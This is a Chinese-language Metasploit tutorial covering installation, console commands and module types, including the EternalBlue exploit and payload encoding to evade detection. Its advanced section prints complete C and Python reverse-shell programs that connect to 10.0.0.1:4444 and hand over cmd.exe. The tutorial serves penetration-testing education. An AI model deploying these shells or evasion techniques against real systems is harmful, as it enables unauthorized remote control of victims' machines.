Metasploit是一款广泛使用的漏洞评估和渗透测试框架，它可以用于测试网络的安全性，识别漏洞、攻击目标等。本篇教程将介绍如何使用Metasploit进行渗透测试，并对其相关功能进行详细说明。
一、Metasploit简介
Metasploit是一个开源框架，由Rapid7公司开发和维护，旨在帮助渗透测试人员和安全专家评估和保护其网络和系统。Metasploit包含多个模块，包括扫描器、漏洞验证工具、漏洞利用工具、载荷生成器等，这些工具可以协同工作，使得渗透测试工作更加高效和准确。
Metasploit支持多种不同的操作系统（Windows、Linux、MacOS等）和硬件平台（x86、ARM等），并提供了多种编程接口，包括Ruby API、Python API、Java API等。
二、Metasploit的安装
Metasploit可以在Windows、Linux和MacOS等操作系统上运行，本教程以Kali Linux为例，介绍如何在Kali Linux上安装Metasploit。
打开终端，输入以下命令更新系统：
sudo apt-get update
安装Metasploit框架：
sudo apt-get install metasploit-framework
运行Metasploit：
msfconsole
如果需要更新Metasploit，可以使用以下命令：
sudo msfupdate
三、Metasploit的基本操作
下面介绍几个常用的Metasploit命令。
1.help
help命令可以列出Metasploit中的所有命令，使用方法如下：
msf > help
2.search
search命令可以搜索Metasploit中的模块，使用方法如下：
msf > search <keyword>
例如，搜索与“apache”相关的模块：
msf > search apache
3.use
use命令可以选择要使用的模块，使用方法如下：
msf > use <module>
例如，选择一个与“smb”相关的模块：
msf > use auxiliary/scanner/smb/smb_version
4.show options
show options命令可以显示当前模块的选项，使用方法如下：
msf > show options
5.set
set命令可以设置当前模块的选项，使用方法如下：
msf > set <option> <value>
例如，设置RHOSTS选项的值：
msf > set RHOSTS 192.168.0.100
6.exploit
exploit命令可以执行当前模块的攻击，使用方法如下：
msf > exploit
四、Metasploit的模块
Metasploit包含多个模块，下面介绍其中几个常用的模块。
1.Auxiliary模块
Auxiliary模块是一个通用模块，主要用于扫描、信息收集、恢复数据等。这些模块通常不会直接攻击目标，而是先获取有关目标的信息，以指导后续攻击。
例如，auxiliary/scanner/http/dir_scanner是一个HTTP目录扫描器，可以通过扫描网站目录来查找敏感文件或目录。
2.Exploit模块
Exploit模块是一个特殊的模块，用于利用已知的漏洞攻击目标系统。这些模块可以尝试多种攻击方式，并自动选择最有效的攻击方式。
例如，exploit/windows/smb/ms17_010_eternalblue是一个利用MS17-010漏洞的模块，可以通过SMB协议在Windows系统上执行代码。
3.Payload模块
Payload模块是Metasploit中最重要的模块之一，它用于实现对目标系统的控制。Metasploit支持多种类型的Payload，包括反向连接Shell、Meterpreter Shell、VNC注入等。
例如，payload/windows/meterpreter/reverse_tcp是一个Windows系统的Meterpreter反向Shell Payload，可以建立与攻击机的反向连接并提供完全的系统访问权限。
4.Encoder模块
Encoder模块用于将Payload进行加密或编码，以绕过防御系统的检测。这些模块通常会使用多种技术进行混淆和伪装。
例如，encoder/x86/shikata_ga_nai是一个常用的X86编码器，可以将Payload进行混淆和伪装，以增加其难以被检测的程度。
五、Metasploit的高级应用
除了基本操作和常用模块外，Metasploit还具有许多高级功能和应用。下面介绍其中几个。
1.自定义Payload
Metasploit允许用户自定义Payload，以满足特定的渗透测试需求。用户可以选择不同的编程语言（如C、Python、Ruby等）和不同的平台（如Windows、Linux、Android等）来编写Payload。
例如，使用C语言编写一个Windows反向Shell Payload：
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
int main(int argc, char **argv) {
WSADATA wsaData;
SOCKET Winsock;
struct sockaddr_in addr;
STARTUPINFO sInfo;
PROCESS_INFORMATION pInfo;
WSAStartup(MAKEWORD(2, 2), &wsaData);
Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr("10.0.0.1");
addr.sin_port = htons(4444);
connect(Winsock, (SOCKADDR *) &addr, sizeof(addr));
memset(&sInfo, 0, sizeof(sInfo));
sInfo.cb = sizeof(sInfo);
sInfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError = (HANDLE) Winsock;
TCHAR commandLine[] = TEXT("cmd.exe");
CreateProcess(NULL, commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &pInfo);
return 0;
}
2.模块开发
Metasploit允许用户开发自己的模块，以满足特定的渗透测试需求。用户可以使用各种编程语言（如Ruby、Python、Java等）来编写模块，并利用Metasploit框架中提供的API进行交互。
例如，使用Ruby编写一个模块，该模块可以进行端口扫描和漏洞验证：
require 'msf/core'
class MyModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'My Module',
'Description' => %q{This module performs port scanning and vulnerability assessment},
'Author' => ['Me'],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-1234'],
[ 'URL', 'http://www.example.com/']
],
'DisclosureDate' => '2021-01-01'))
register_options(
[
Opt::RPORT(22),
OptInt.new('TIMEOUT', [true, 'The maximum number of seconds to wait for a response', 5])
])
end
def run
timeout = datastore['TIMEOUT'].to_i
begin
connect
banner = sock.get_once(-1, timeout)
print_status("Banner: #{banner}")
# Do port scanning and vulnerability assessment here
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error('Failed to connect to target')
ensure
disconnect
end
end
end
3.自定义Exploit
Metasploit允许用户自定义Exploit，以满足特定的渗透测试需求。用户可以选择不同的编程语言（如Python、Ruby等）和不同的操作系统（如Windows、Linux等）来编写Exploit。
例如，使用Python编写一个Windows反向Shell Exploit：
import socket
import subprocess
HOST = '10.0.0.1'
PORT = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
subprocess.Popen(['cmd.exe'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())六、总结
本教程介绍了Metasploit框架的基本操作、常用模块以及高级应用，旨在帮助渗透测试人员和安全专家更好地运用Metasploit进行安全评估和保护工作。Metasploit是一个功能强大且易于使用的渗透测试工具，但是需要注意合法使用，避免造成不必要的损失。
参考：https://blog.csdn.net/xiao1234oaix/article/details/129739275